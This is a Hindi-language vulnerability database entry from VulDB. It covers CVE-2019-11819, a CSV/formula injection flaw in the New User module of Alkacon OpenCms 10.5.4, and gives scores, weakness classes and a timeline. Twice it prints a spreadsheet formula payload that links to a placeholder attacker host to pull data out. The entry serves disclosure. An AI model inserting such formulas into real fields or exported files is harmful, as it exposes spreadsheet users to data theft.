Alkacon OpenCms 10.5.4 New User अधिकार वृद्धि

CVSS मेटा अस्थायी स्कोर	वर्तमान एक्सप्लॉइट मूल्य (≈)	CTI रुचि स्कोर
6.3	$0-$5k	0.00

सारांशजानकारी

एक कमजोरि जिसे आलोचनात्मक के रूप में वर्गीकृत किया गया है, Alkacon OpenCms 10.5.4 में पाई गई है। प्रभावित है एक अज्ञात फ़ंक्शन New User Module घटक का हिस्सा है। इसमें इनपुट =HYPERLINK("http://[attacker_ip:port]/GiveMeSomeData","IAmSafe") के साथ शामिल है, जिससे अधिकार वृद्धि उत्पन्न होती है। इस भेद्यता को CVE-2019-11819 के रूप में ट्रेड किया जाता है। हमले को स्थानीय रूप से करना आवश्यक है। कोई एक्सप्लॉइट उपलब्ध नहीं है।

विवरणजानकारी

एक कमजोरि जिसे आलोचनात्मक के रूप में वर्गीकृत किया गया है, Alkacon OpenCms 10.5.4 में पाई गई है। प्रभावित है एक अज्ञात फ़ंक्शन New User Module घटक का हिस्सा है। इसमें इनपुट =HYPERLINK("http://[attacker_ip:port]/GiveMeSomeData","IAmSafe") के साथ शामिल है, जिससे अधिकार वृद्धि उत्पन्न होती है। CWE का उपयोग करके समस्या को घोषित करने से CWE-74 प्राप्त होता है। कमजोरी प्रकाशित की गई थी 08/04/2019 के रूप में Bug Report (GitHub Repository). एडवाइजरी को github.com पर डाउनलोड के लिए उपलब्ध कराया गया है।

इस भेद्यता को CVE-2019-11819 के रूप में ट्रेड किया जाता है। CVE असाइनमेंट 08/05/2019 को हुआ। हमले को स्थानीय रूप से करना आवश्यक है। तकनीकी विवरण उपलब्ध हैं. यह भेद्यता सामान्य से कम लोकप्रिय है। कोई एक्सप्लॉइट उपलब्ध नहीं है। फिलहाल एक्सप्लॉइट की कीमत might be approx. USD $0-$5k है। यदि T1055 उपलब्ध है, तो MITRE ATT&CK प्रोजेक्ट द्वारा हमले की तकनीक को T1055 के रूप में घोषित किया जाता है।

इसे परिभाषित नहीं के रूप में घोषित किया गया है। 0-डे के रूप में इसका अनुमानित अंडरग्राउंड मूल्य लगभग $0-$5k था.

उत्पादजानकारी

विक्रेता

• Alkacon

नाम

• OpenCms

संस्करण

• 10.5.4

CPE 2.3जानकारी

• 🔍

CPE 2.2जानकारी

• 🔍

CVSSv4जानकारी

VulDB वेक्टर: 🔍
VulDB विश्वसनीयता: 🔍

CVSSv3जानकारी

VulDB मेटा बेस स्कोर: 6.5
VulDB मेटा अस्थायी स्कोर: 6.3

VulDB मूल स्कोर: 5.3
VulDB अस्थायी स्कोर: 4.9
VulDB वेक्टर: 🔍
VulDB विश्वसनीयता: 🔍

NVD मूल स्कोर: 7.8
NVD वेक्टर: 🔍

CVSSv2जानकारी

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

सदिश	जटिलता	प्रमाणीकरण	गोपनीयता	अखंडता	उपलब्धता
अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना
अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना
अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना

VulDB मूल स्कोर: 🔍
VulDB अस्थायी स्कोर: 🔍
VulDB विश्वसनीयता: 🔍

NVD मूल स्कोर: 🔍

शोषणजानकारी

वर्ग: अधिकार वृद्धि
CWE: CWE-74 / CWE-707 / CWE-20
CAPEC: 🔍
ATT&CK: 🔍

भौतिक: आंशिक रूप से
स्थानीय: हाँ
दूरस्थ: हाँ

उपलब्धता: 🔍
स्थिति: परिभाषित नहीं

EPSS Score: 🔍
EPSS Percentile: 🔍

मूल्य पूर्वानुमान: 🔍
वर्तमान मूल्य अनुमान: 🔍

0-Day	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना
आज	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना

खतरे की खुफियाजानकारी

रुचि: 🔍
सक्रिय अभिनेता: 🔍
सक्रिय APT समूह: 🔍

प्रतिव्यवस्थाजानकारी

सिफारिश: कोई शमन ज्ञात नहीं
स्थिति: 🔍

0-दिवसीय समय: 🔍

समयरेखाजानकारी

08/04/2019 🔍
07/05/2019 +29 दिन 🔍
08/05/2019 +1 दिन 🔍
12/09/2023 +1588 दिन 🔍

स्रोतजानकारी

सलाह: 636
स्थिति: परिभाषित नहीं

CVE: CVE-2019-11819 (🔍)
GCVE (CVE): GCVE-0-2019-11819
GCVE (VulDB): GCVE-100-134439
यह भी देखें: 🔍

प्रविष्टिजानकारी

बनाया गया: 07/05/2019 07:29 AM
अद्यतनित: 12/09/2023 06:20 PM
परिवर्तन: 07/05/2019 07:29 AM (55), 08/06/2020 10:34 AM (2), 12/09/2023 06:20 PM (4)
पूर्ण: 🔍
प्रेषक: pramodrana
Cache ID: 216::103

जमा करेंजानकारी

स्वीकृत

• जमा करें #65: Alkacon OpenCMS | CSV Injection | v10.5.4 and before (द्वारा pramodrana)

Be aware that VulDB is the high quality source for vulnerability data.

चर्चा

Do you need the next level of professionalism?

Upgrade your account now!